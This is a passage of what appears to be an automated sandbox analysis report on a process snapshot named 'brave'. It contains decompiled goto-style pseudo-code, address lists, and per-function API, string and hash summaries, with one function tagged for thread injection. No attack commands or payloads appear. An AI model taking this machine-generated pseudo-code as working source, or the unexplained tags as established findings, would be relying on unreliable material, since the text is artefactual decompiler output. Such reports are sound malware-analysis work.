				if ((_t214 & 0xffffff00 |  *((long long*)(_t342 + 0x50)) != 0x00000000) == 0) goto 0x55e9280d;
				if (_t342 == 0) goto 0x55e92c8c;
				 *((long long*)( *((intOrPtr*)(_t342 + 0x50)))) =  *0x561413b0;
				if (_t342 != 0) goto 0x55e924e2;
				E00007FF77FF755E97060();
				_t343 =  *_t497;
				goto 0x55e924ea;
				goto 0x55e924bd;
				 *((long long*)(_t343 + 0x60)) = 0x56132bc8;
				goto 0x55e924ff;
				 *((long long*)(_t343 + 0x58)) = 0x561413b0;
				goto 0x55e924d6;
				_t344 =  *_t497;
				if (_t344 == 0) goto 0x55e92a40;
				if ( *((long long*)(_t344 + 0x70)) != 0) goto 0x55e926c8;
				 *((long long*)(_t344 + 0x70)) = 0x561413a0;
				if ( *0x561413a0 == 0) goto 0x55e92422;
				if ( *((long long*)( *_t497 + 0x70)) == 0) goto 0x55e92820;
				r12d = 0;
				goto 0x55e9266a;
				asm("o16 nop [cs:eax+eax]");
				if (0x561413b0 == _t518) goto 0x55e92422;
				if (0x7ff7561413af - _t518 < 0) goto 0x55e92422;
				_t347 =  *_t497;
				if (_t347 == 0) goto 0x55e92708;
				if ( *((long long*)(_t347 + 0x68)) == 0) goto 0x55e926e8;
				_t348 =  *_t497;
				_t482 = _t518 + 0x7ff7561413af >> 1 << 4;
				if (_t536 ==  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t347 + 0x68)))) + _t482 + 8))) goto 0x55e92830;
				if (_t348 == 0) goto 0x55e92730;
				if ( *((long long*)(_t348 + 0x68)) == 0) goto 0x55e926f8;
				_t350 =  *((intOrPtr*)( *((intOrPtr*)(_t348 + 0x68))));
				if (_t536 -  *((intOrPtr*)(_t350 + _t482 + 8)) < 0) goto 0x55e92650;
				goto 0x55e9265d;
				asm("o16 nop [eax+eax]");
				_t351 =  *((intOrPtr*)(_t350 + 0x70));
				goto 0x55e92616;
				goto 0x55e92574;
				 *((long long*)(_t351 + 0x68)) = 0x561413a8;
				goto 0x55e92689;
				 *((long long*)(_t351 + 0x68)) = 0x561413a8;
				goto 0x55e926b2;
				E00007FF77FF755E97060();
				_t353 =  *_t497;
				if ( *0x7FF756141410 == 0) goto 0x55e926e8;
				if (_t353 != 0) goto 0x55e92681;
				E00007FF77FF755E97060();
				goto 0x55e92681;
				E00007FF77FF755E97060();
				_t354 =  *_t497;
				if ( *((long long*)(_t353 + 0x68)) == 0) goto 0x55e926f8;
				if (_t354 != 0) goto 0x55e926ae;
				E00007FF77FF755E97060();
				goto 0x55e926ae;
				E00007FF77FF755E97060();
				_t355 =  *_t497;
				if ( *((long long*)(_t354 + 0x58)) == 0) goto 0x55e92492;
				if (_t355 != 0) goto 0x55e92550;
				E00007FF77FF755E97060();
				if ( *((long long*)( *((intOrPtr*)(_t355 + 0x58)))) == 0) goto 0x55e92aac;
				_t357 =  *_t497;
				if (_t357 != 0) goto 0x55e924a7;
				E00007FF77FF755E97060();
				_t358 =  *_t497;
				if ( *((long long*)(_t357 + 0x58)) == 0) goto 0x55e924b2;
				if (_t358 != 0) goto 0x55e925c0;
				E00007FF77FF755E97060();
				_t359 =  *_t497;
				 *((long long*)( *((intOrPtr*)( *((intOrPtr*)(_t358 + 0x58)))) + 0x1d0)) = _t494;
				if (_t359 != 0) goto 0x55e924c7;
				E00007FF77FF755E97060();
				if ( *((long long*)(_t359 + 0x58)) == 0) goto 0x55e925e0;
				if ( *_t497 != 0) goto 0x55e924d2;
				E00007FF77FF755E97060();
				_t361 =  *_t497;
				goto 0x55e924d6;
				 *((long long*)(_t361 + 0x50)) = 0x561413b8;
				goto 0x55e92594;
				 *((long long*)(_t361 + 0x70)) = 0x561413a0;
				goto 0x55e92633;
				if (_t361 == 0) goto 0x55e92c9e;
				if ( *((long long*)(_t361 + 0x68)) != 0) goto 0x55e92908;
				 *((long long*)(_t361 + 0x68)) = 0x561413a8;
				_t412 =  *((intOrPtr*)(_t351 + 0x58)) + 1;
				if ( *((long long*)(_t361 + 0x70)) != 0) goto 0x55e92b20;
				_t281 =  *0x561413a0 - _t412; // 0x1
				 *((long long*)(_t361 + 0x70)) = 0x561413a0;
				if (_t281 > 0) goto 0x55e92ba2;
				if ( *((long long*)(_t361 + 0x70)) != 0) goto 0x55e92a10;
				 *((long long*)(_t361 + 0x70)) = 0x561413a0;
				 *0x561413a0 =  *0x561413a0 - 1;
				if ( *((long long*)(_t361 + 0x70)) != 0) goto 0x55e92b10;
				 *((long long*)(_t361 + 0x70)) = 0x561413a0;
				if ( *0x561413a0 != 0) goto 0x55e92422;
				if ( *((long long*)(_t361 + 0x68)) == 0) goto 0x55e92c5b;
				free(??);
				_t363 =  *_t497;
				if (_t363 == 0) goto 0x55e92cb7;
				if ( *((long long*)(_t363 + 0x78)) == 0) goto 0x55e92c4b;
				_t413 =  *((intOrPtr*)(_t363 + 0x78));
				 *_t413 = 0;
				if ( *((long long*)(_t363 + 0x70)) == 0) goto 0x55e92c38;
				 *((long long*)( *((intOrPtr*)(_t363 + 0x70)))) =  *_t413;
				goto 0x55e92422;
				if ( *_t497 != 0) goto 0x55e9284f;
				E00007FF77FF755E97060();
				_t366 =  *_t497;
				if (_t366 != 0) goto 0x55e92853;
				E00007FF77FF755E97060();
				_t367 =  *_t497;
				if ( *((long long*)(_t366 + 0x70)) == 0) goto 0x55e9285e;
				if (_t367 != 0) goto 0x55e92b20;
				E00007FF77FF755E97060();
				_t369 =  *_t497;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t367 + 0x70)))) - _t413 + 1 <= 0) goto 0x55e92b80;
				if (_t369 != 0) goto 0x55e92b2d;
				E00007FF77FF755E97060();
				if ( *((long long*)(_t369 + 0x70)) == 0) goto 0x55e92b34;
				if ( *_t497 != 0) goto 0x55e92ba2;
				E00007FF77FF755E97060();
				_t372 =  *_t497;
				if (_t372 != 0) goto 0x55e92b49;
				E00007FF77FF755E97060();
				if ( *((long long*)(_t372 + 0x68)) == 0) goto 0x55e92c28;
				if ( *_t497 != 0) goto 0x55e92b54;
				E00007FF77FF755E97060();
				_t375 =  *_t497;
				if (_t375 != 0) goto 0x55e92c6e;
				E00007FF77FF755E97060();
				if ( *((long long*)(_t375 + 0x68)) == 0) goto 0x55e92c79;
				if ( *_t497 != 0) goto 0x55e92b65;
				E00007FF77FF755E97060();
				goto 0x55e92b65;
				_t377 =  *_t497;
				if (_t377 == 0) goto 0x55e92ba8;
				goto 0x55e9288c;
				asm("o16 nop [cs:eax+eax]");
				E00007FF77FF755E97060();
				goto 0x55e924fb;
				asm("o16 nop [eax+eax]");
				E00007FF77FF755E97060();
				_t378 =  *_t497;
				if ( *((long long*)(_t377 + 0x70)) == 0) goto 0x55e92608;
				if (_t378 != 0) goto 0x55e926c8;
				E00007FF77FF755E97060();
				if ( *((long long*)( *((intOrPtr*)(_t378 + 0x70)))) == 0) goto 0x55e92422;
				_t380 =  *_t497;
				if (_t380 != 0) goto 0x55e92624;
				E00007FF77FF755E97060();
				if ( *((long long*)(_t380 + 0x70)) == 0) goto 0x55e92820;
				if ( *_t497 != 0) goto 0x55e9262f;
				E00007FF77FF755E97060();
				goto 0x55e92633;
				_t383 =  *_t497;
				if (_t383 != 0) goto 0x55e9255e;
				E00007FF77FF755E97060();
				_t384 =  *_t497;
				if ( *((long long*)(_t383 + 0x58)) == 0) goto 0x55e92569;
				if (_t384 != 0) goto 0x55e926d8;
				E00007FF77FF755E97060();
				_t415 =  *((intOrPtr*)(_t384 + 0x58));
				 *_t415 = _t494;
				if ( *_t497 != 0) goto 0x55e92577;
				E00007FF77FF755E97060();
				_t386 =  *_t497;
				goto 0x55e9257f;
				goto 0x55e928a6;
				if (_t415 -  *((intOrPtr*)( *((intOrPtr*)(_t386 + 0x70)))) >= 0) goto 0x55e92876;
				if ( *((long long*)(_t386 + 0x70)) != 0) goto 0x55e92ba2;
				 *((long long*)(_t386 + 0x70)) = 0x561413a0;
				if ( *((long long*)(_t386 + 0x68)) == 0) goto 0x55e92c28;
				_t436 =  *((intOrPtr*)( *((intOrPtr*)(_t386 + 0x68)))) + (_t415 << 4) - 0x10;
				memcpy(??, ??, ??);
				_t389 =  *_t497;
				if (_t389 != 0) goto 0x55e92876;
				E00007FF77FF755E97060();
				if ( *((long long*)(_t389 + 0x70)) != 0) goto 0x55e92a10;
				goto 0x55e92881;
				goto 0x55e92b3f;
				E00007FF77FF755E97060();
				_t391 =  *_t497;
				 *((long long*)( *((intOrPtr*)( *_t497 + 0x70)))) =  *((long long*)( *((intOrPtr*)( *_t497 + 0x70)))) - 1;
				if (_t391 != 0) goto 0x55e92890;
				E00007FF77FF755E97060();
				_t392 =  *_t497;
				if ( *((long long*)(_t391 + 0x70)) == 0) goto 0x55e9289b;
				if (_t392 != 0) goto 0x55e92b10;
				E00007FF77FF755E97060();
				if ( *((long long*)( *((intOrPtr*)(_t392 + 0x70)))) != 0) goto 0x55e92422;
				_t394 =  *_t497;
				if (_t394 != 0) goto 0x55e928b0;
				E00007FF77FF755E97060();
				_t395 =  *_t497;
				if ( *((long long*)(_t394 + 0x68)) == 0) goto 0x55e92c5b;
				if (_t395 != 0) goto 0x55e928bb;
				E00007FF77FF755E97060();
				goto 0x55e928bb;
				 *((long long*)(_t395 + 0x68)) = 0x561413a8;
				goto 0x55e92b58;
				 *((long long*)(_t395 + 0x70)) = 0x561413a0;
				goto 0x55e928f9;
				 *0x7FF756141418 = 0x56141398;
				goto 0x55e928e3;
				 *0x7FF756141408 = 0x561413a8;
				goto 0x55e928bf;
				if ( *((long long*)(0x7ff756141410)) != 0) goto 0x55e92b65;
				 *((long long*)(0x7ff756141410)) = 0x561413a8;
				goto 0x55e92b69;
				E00007FF77FF755E97060();
				goto 0x55e92594;
				E00007FF77FF755E97060();
				if ( *((long long*)( *_t497 + 0x68)) != 0) goto 0x55e92908;
				goto 0x55e92844;
				E00007FF77FF755E97060();
				_t401 =  *_t497;
				if ( *((long long*)( *_t497 + 0x78)) == 0) goto 0x55e92c4b;
				if (_t401 != 0) goto 0x55e928df;
				E00007FF77FF755E97060();
				_t402 =  *_t497;
				 *((long long*)( *((intOrPtr*)(_t401 + 0x78)))) = 0;
				if (_t402 != 0) goto 0x55e928ea;
				E00007FF77FF755E97060();
				if ( *((long long*)(_t402 + 0x70)) == 0) goto 0x55e92c38;
				if ( *_t497 != 0) goto 0x55e928f5;
				_t206 = E00007FF77FF755E97060();
				goto 0x55e928f5;
				asm("o16 nop [eax+eax]");
				if (_t436 == 0) goto 0x55e92d2f;
				if ( *((long long*)(_t436 + 0x1d0)) == 0) goto 0x55e92d30;
				return _t206;
			}

0x7ff755e92220
0x7ff755e9223b
0x7ff755e9224a
0x7ff755e92259
0x7ff755e92268
0x7ff755e9226f
0x7ff755e92276
0x7ff755e9227b
0x7ff755e92284
0x7ff755e9228d
0x7ff755e92296
0x7ff755e9229f
0x7ff755e922a8
0x7ff755e922b1
0x7ff755e922bd
0x7ff755e922c5
0x7ff755e922cd
0x7ff755e922d8
0x7ff755e922e0
0x7ff755e922eb
0x7ff755e922f7
0x7ff755e92308
0x7ff755e92311
0x7ff755e92316
0x7ff755e9231d
0x7ff755e92322
0x7ff755e92327
0x7ff755e9232d
0x7ff755e92341
0x7ff755e92343
0x7ff755e9235a
0x7ff755e9235d
0x7ff755e9236c
0x7ff755e92371
0x7ff755e92375
0x7ff755e92377
0x7ff755e9237c
0x7ff755e92385
0x7ff755e92391
0x7ff755e92392
0x7ff755e92393
0x7ff755e92395
0x7ff755e92397
0x7ff755e923a3
0x7ff755e923aa
0x7ff755e923b0
0x7ff755e923c0
0x7ff755e923c5
0x7ff755e923c7
0x7ff755e923e0
0x7ff755e923e7
0x7ff755e923f1
0x7ff755e923fc
0x7ff755e92409
0x7ff755e9240d
0x7ff755e9241c
0x7ff755e92429
0x7ff755e9242b
0x7ff755e92437
0x7ff755e92439
0x7ff755e92445
0x7ff755e92447
0x7ff755e92455
0x7ff755e9245c
0x7ff755e92477
0x7ff755e9247a
0x7ff755e92481
0x7ff755e9248c
0x7ff755e92499
0x7ff755e924a1
0x7ff755e924ac
0x7ff755e924b9
0x7ff755e924c0
0x7ff755e924cc
0x7ff755e924d6
0x7ff755e924dc
0x7ff755e924e7
0x7ff755e924ec
0x7ff755e924f5
0x7ff755e92504
0x7ff755e92506
0x7ff755e92507
0x7ff755e9250b
0x7ff755e9250f
0x7ff755e92518
0x7ff755e92522
0x7ff755e92526
0x7ff755e9252f
0x7ff755e92531
0x7ff755e92536
0x7ff755e92544
0x7ff755e92558
0x7ff755e92563
0x7ff755e92570
0x7ff755e92574
0x7ff755e92581
0x7ff755e9258a
0x7ff755e92597
0x7ff755e9259d
0x7ff755e925a3
0x7ff755e925ad
0x7ff755e925b4
0x7ff755e925c4
0x7ff755e925d0
0x7ff755e925d4
0x7ff755e925e7
0x7ff755e925eb
0x7ff755e925f0
0x7ff755e925f7
0x7ff755e92602
0x7ff755e9260f
0x7ff755e9261a
0x7ff755e92629
0x7ff755e92636
0x7ff755e92644
0x7ff755e92646
0x7ff755e92653
0x7ff755e92660
0x7ff755e92666
0x7ff755e92674
0x7ff755e9267f
0x7ff755e92685
0x7ff755e9268f
0x7ff755e92698
0x7ff755e926a1
0x7ff755e926ac
0x7ff755e926b2
0x7ff755e926ba
0x7ff755e926c0
0x7ff755e926c2
0x7ff755e926c8
0x7ff755e926cc
0x7ff755e926dc
0x7ff755e926e8
0x7ff755e926ef
0x7ff755e926f8
0x7ff755e926ff
0x7ff755e92708
0x7ff755e92712
0x7ff755e92716
0x7ff755e9271b
0x7ff755e92721
0x7ff755e92726
0x7ff755e92730
0x7ff755e9273a
0x7ff755e9273e
0x7ff755e92743
0x7ff755e92749
0x7ff755e9274e
0x7ff755e92758
0x7ff755e92760
0x7ff755e92769
0x7ff755e92772
0x7ff755e92778
0x7ff755e92785
0x7ff755e9278b
0x7ff755e92792
0x7ff755e92798
0x7ff755e927a0
0x7ff755e927a9
0x7ff755e927b2
0x7ff755e927b8
0x7ff755e927c0
0x7ff755e927cb
0x7ff755e927d5
0x7ff755e927db
0x7ff755e927ec
0x7ff755e927f5
0x7ff755e927fb
0x7ff755e92804
0x7ff755e92808
0x7ff755e92814
0x7ff755e92818
0x7ff755e92827
0x7ff755e9282b
0x7ff755e92833
0x7ff755e9283e
0x7ff755e9284b
0x7ff755e9284f
0x7ff755e92858
0x7ff755e92865
0x7ff755e9286c
0x7ff755e92870
0x7ff755e9287b
0x7ff755e92888
0x7ff755e9288c
0x7ff755e92895
0x7ff755e928a2
0x7ff755e928aa
0x7ff755e928b5
0x7ff755e928c2
0x7ff755e928c7
0x7ff755e928ce
0x7ff755e928d9
0x7ff755e928df
0x7ff755e928e3
0x7ff755e928ef
0x7ff755e928fc
0x7ff755e928ff
0x7ff755e9290f
0x7ff755e92915
0x7ff755e9291a
0x7ff755e92925
0x7ff755e9292b
0x7ff755e92935
0x7ff755e92939
0x7ff755e92942
0x7ff755e92948
0x7ff755e92954
0x7ff755e92958
0x7ff755e92968
0x7ff755e9296e
0x7ff755e9297c
0x7ff755e92985
0x7ff755e9298b
0x7ff755e92997
0x7ff755e929a5
0x7ff755e929ab
0x7ff755e929b9
0x7ff755e929c2
0x7ff755e929c8
0x7ff755e929d4
0x7ff755e929de
0x7ff755e929e4
0x7ff755e929f2
0x7ff755e929fb
0x7ff755e92a01
0x7ff755e92a06
0x7ff755e92a10
0x7ff755e92a17
0x7ff755e92a21
0x7ff755e92a26
0x7ff755e92a30
0x7ff755e92a35
0x7ff755e92a3a
0x7ff755e92a40
0x7ff755e92a4a
0x7ff755e92a4e
0x7ff755e92a57
0x7ff755e92a5d
0x7ff755e92a6a
0x7ff755e92a70
0x7ff755e92a77
0x7ff755e92a7d
0x7ff755e92a8b
0x7ff755e92a94
0x7ff755e92a9a
0x7ff755e92aa7
0x7ff755e92aac
0x7ff755e92ab3
0x7ff755e92ab9
0x7ff755e92ac1
0x7ff755e92aca
0x7ff755e92ad3
0x7ff755e92ad9
0x7ff755e92ade
0x7ff755e92ae6
0x7ff755e92aec
0x7ff755e92af2
0x7ff755e92afc
0x7ff755e92b03
0x7ff755e92b14
0x7ff755e92b27
0x7ff755e92b32
0x7ff755e92b3b
0x7ff755e92b4e
0x7ff755e92b72
0x7ff755e92b77
0x7ff755e92b7c
0x7ff755e92b83
0x7ff755e92b89
0x7ff755e92b93
0x7ff755e92b9d
0x7ff755e92ba6
0x7ff755e92ba8
0x7ff755e92bb1
0x7ff755e92bb5
0x7ff755e92bbc
0x7ff755e92bc2
0x7ff755e92bca
0x7ff755e92bd3
0x7ff755e92bdc
0x7ff755e92be2
0x7ff755e92bef
0x7ff755e92bf5
0x7ff755e92bfc
0x7ff755e92c02
0x7ff755e92c0a
0x7ff755e92c13
0x7ff755e92c18
0x7ff755e92c1e
0x7ff755e92c23
0x7ff755e92c2f
0x7ff755e92c33
0x7ff755e92c3f
0x7ff755e92c46
0x7ff755e92c52
0x7ff755e92c56
0x7ff755e92c62
0x7ff755e92c69
0x7ff755e92c73
0x7ff755e92c80
0x7ff755e92c87
0x7ff755e92c8c
0x7ff755e92c99
0x7ff755e92c9e
0x7ff755e92ca8
0x7ff755e92cb2
0x7ff755e92cb7
0x7ff755e92cbf
0x7ff755e92cc8
0x7ff755e92ccd
0x7ff755e92cd3
0x7ff755e92cdc
0x7ff755e92ce0
0x7ff755e92cea
0x7ff755e92cf0
0x7ff755e92d01
0x7ff755e92d0a
0x7ff755e92d10
0x7ff755e92d15
0x7ff755e92d1a
0x7ff755e92d23
0x7ff755e92d2d
0x7ff755e92d2f

APIs

GetCurrentThreadId.KERNEL32 ref: 00007FF755E922CD
_ultoa.MSVCRT ref: 00007FF755E922E0
OutputDebugStringA.KERNEL32 ref: 00007FF755E92327
abort.MSVCRT ref: 00007FF755E9232D

Strings

Error cl, xrefs: 00007FF755E92227
eaning u, xrefs: 00007FF755E92231
p spin_k, xrefs: 00007FF755E92240
thread , xrefs: 00007FF755E9225E
eys for , xrefs: 00007FF755E9224F

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: CurrentDebugOutputStringThread_ultoaabort
String ID: Error cl$eaning u$eys for $p spin_k$thread
API String ID: 4191895893-3545615192
Opcode ID: 5e02075398575467d757778500d00e02b97ceec7ff2355a5d38304a33f0ea4e3
Instruction ID: 8d87c01d77648c5f2e8903a46a835a72d53dd22c9417864a25f21a3468c3d7cb
Opcode Fuzzy Hash: 5e02075398575467d757778500d00e02b97ceec7ff2355a5d38304a33f0ea4e3
Instruction Fuzzy Hash: 3E214C7660CB8182EB609B54F45432AB6E1F785788F948138E2CD4BB98DF7DD4498B11

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E8F750 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 60synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32 ref: 00007FF755E8F761
WaitForSingleObject.KERNEL32 ref: 00007FF755E8F772
FindAtomA.KERNEL32 ref: 00007FF755E8F7DF
ReleaseMutex.KERNEL32 ref: 00007FF755E8F7ED
CloseHandle.KERNEL32 ref: 00007FF755E8F7F6
CloseHandle.KERNEL32 ref: 00007FF755E8F817

Strings

failed to to lock cleanup mutex, xrefs: 00007FF755E8F808

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: CloseHandleMutex$AtomCreateFindObjectReleaseSingleWait
String ID: failed to to lock cleanup mutex
API String ID: 3776795807-674698732
Opcode ID: 71f342f9f933a52b181f13a2de0319036eade7889627a245c740d797601e7c04
Instruction ID: 7ecd2ca80e9296a1948643417e38b7b4ecb8b212392bf5eb76bfd831d94e1c24
Opcode Fuzzy Hash: 71f342f9f933a52b181f13a2de0319036eade7889627a245c740d797601e7c04
Instruction Fuzzy Hash: 72214F66E19A9281FE54BB61F915175A2A1FF45F8ABCC9435C81D4F3A1EE3CA481C320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755EA1DD0 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF755EA1DE1
GetProcAddress.KERNEL32 ref: 00007FF755EA1DF8
LoadLibraryW.KERNEL32 ref: 00007FF755EA1E1F
GetProcAddress.KERNEL32 ref: 00007FF755EA1E2F

Strings

rand_s, xrefs: 00007FF755EA1DEE
advapi32.dll, xrefs: 00007FF755EA1E18
msvcrt.dll, xrefs: 00007FF755EA1DDA
SystemFunction036, xrefs: 00007FF755EA1E25

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: AddressProc$HandleLibraryLoadModule
String ID: SystemFunction036$advapi32.dll$msvcrt.dll$rand_s
API String ID: 384173800-4041758303
Opcode ID: 4f62b90e336705d4da321a7fa2fb84c276bc2db0b258b9504fce3f42ee99db90
Instruction ID: 04b61cc013d9658a3936cfb2f0603f2fd65019727f29f53854c36676ef7f11a2
Opcode Fuzzy Hash: 4f62b90e336705d4da321a7fa2fb84c276bc2db0b258b9504fce3f42ee99db90
Instruction Fuzzy Hash: BAF0F464F0AA47D0EE15BB51FC540B6A3A4BF09795BCC0135C80E4B368EF2CE598C360

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755EADEF0 Relevance: 13.7, APIs: 8, Strings: 1, Instructions: 196COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF755EADF96
memcpy.MSVCRT ref: 00007FF755EADFC1
memcpy.MSVCRT ref: 00007FF755EAE030
memcpy.MSVCRT ref: 00007FF755EAE06E
memcpy.MSVCRT ref: 00007FF755EAE0BF

Strings

basic_string::_M_replace, xrefs: 00007FF755EAE1DE

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: memcpy
String ID: basic_string::_M_replace
API String ID: 3510742995-2323331477
Opcode ID: 83352c911b5e7a670d2c16afee725c69e32d097fda13c06022162402ec47247e
Instruction ID: 29fa98edcfff3d1d2ab833e80909e23a962bcc5dbf71e195d7806fb92d078a33
Opcode Fuzzy Hash: 83352c911b5e7a670d2c16afee725c69e32d097fda13c06022162402ec47247e
Instruction Fuzzy Hash: 2F71D42AA09BB691E920EF25C6081BAE754AB40F98FCD4532DA1D1F7D0DF3CE941C320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755EAAE20 Relevance: 13.7, APIs: 8, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF755EAAEC5
memcpy.MSVCRT ref: 00007FF755EAAEF0
memcpy.MSVCRT ref: 00007FF755EAAF59
memcpy.MSVCRT ref: 00007FF755EAAF8D
memcpy.MSVCRT ref: 00007FF755EAAFD9

Strings

basic_string::_M_replace, xrefs: 00007FF755EAB0E1

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: memcpy
String ID: basic_string::_M_replace
API String ID: 3510742995-2323331477
Opcode ID: 6e4ccbe5bf110cb7a92f3fabf76553f9e581279dc44f1e42f5d797bc024edc43
Instruction ID: b9118de116707a0090b5d91af32556f88493bea63940e63de08332b2be91dd41
Opcode Fuzzy Hash: 6e4ccbe5bf110cb7a92f3fabf76553f9e581279dc44f1e42f5d797bc024edc43
Instruction Fuzzy Hash: 9E61EB25A197F685E921AE35C6091B89A549F52FC8FCD4131DA5C1FBC2DD2DD581C330

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E95AE0 Relevance: 13.7, APIs: 9, Instructions: 182
threadinjectionsynchronizationCOMMON

